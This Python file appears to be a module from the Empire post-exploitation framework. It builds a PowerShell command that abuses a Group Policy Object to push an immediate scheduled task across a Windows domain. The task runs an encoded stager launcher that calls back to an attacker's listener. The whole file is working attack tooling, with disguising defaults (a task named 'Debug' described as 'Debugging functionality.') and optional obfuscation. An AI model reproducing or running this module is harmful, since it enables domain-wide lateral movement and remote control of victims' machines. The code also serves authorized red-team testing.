Empire/lib/modules/powershell/lateral_movement/new_gpo_immediate_task.py

167 lines
6.5 KiB
Python

from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'New-GPOImmediateTask',
'Author': ['@harmj0y'],
'Description': ("Builds an 'Immediate' schtask to push out through a specified GPO."),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'TaskName' : {
'Description' : 'Name for the schtask to create.',
'Required' : True,
'Value' : 'Debug'
},
'TaskDescription' : {
'Description' : 'Name for the schtask to create.',
'Required' : False,
'Value' : 'Debugging functionality.'
},
'TaskAuthor' : {
'Description' : 'Name for the schtask to create.',
'Required' : True,
'Value' : 'NT AUTHORITY\System'
},
'GPOname' : {
'Description' : 'The GPO name to build the task for.',
'Required' : False,
'Value' : ''
},
'GPODisplayName' : {
'Description' : 'The GPO display name to build the task for.',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to query for the GPOs, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Remove' : {
'Description' : 'Switch. Remove the immediate schtask.',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
moduleName = self.info["Name"]
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
if not self.mainMenu.listeners.is_listener_valid(listenerName):
# not a valid listener, return nothing for the script
print helpers.color("[!] Invalid listener: " + listenerName)
return ""
else:
# generate the PowerShell one-liner with all of the proper options set
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
command = "/c \""+launcher+"\""
if command == "":
return ""
else:
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script = moduleName + " -Command cmd -CommandArguments '"+command+"' -Force"
for option,values in self.options.iteritems():
if option.lower() in ["taskname", "taskdescription", "taskauthor", "gponame", "gpodisplayname", "domain", "domaincontroller"]:
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " '" + str(values['Value']) + "'"
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
if obfuscate:
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
return script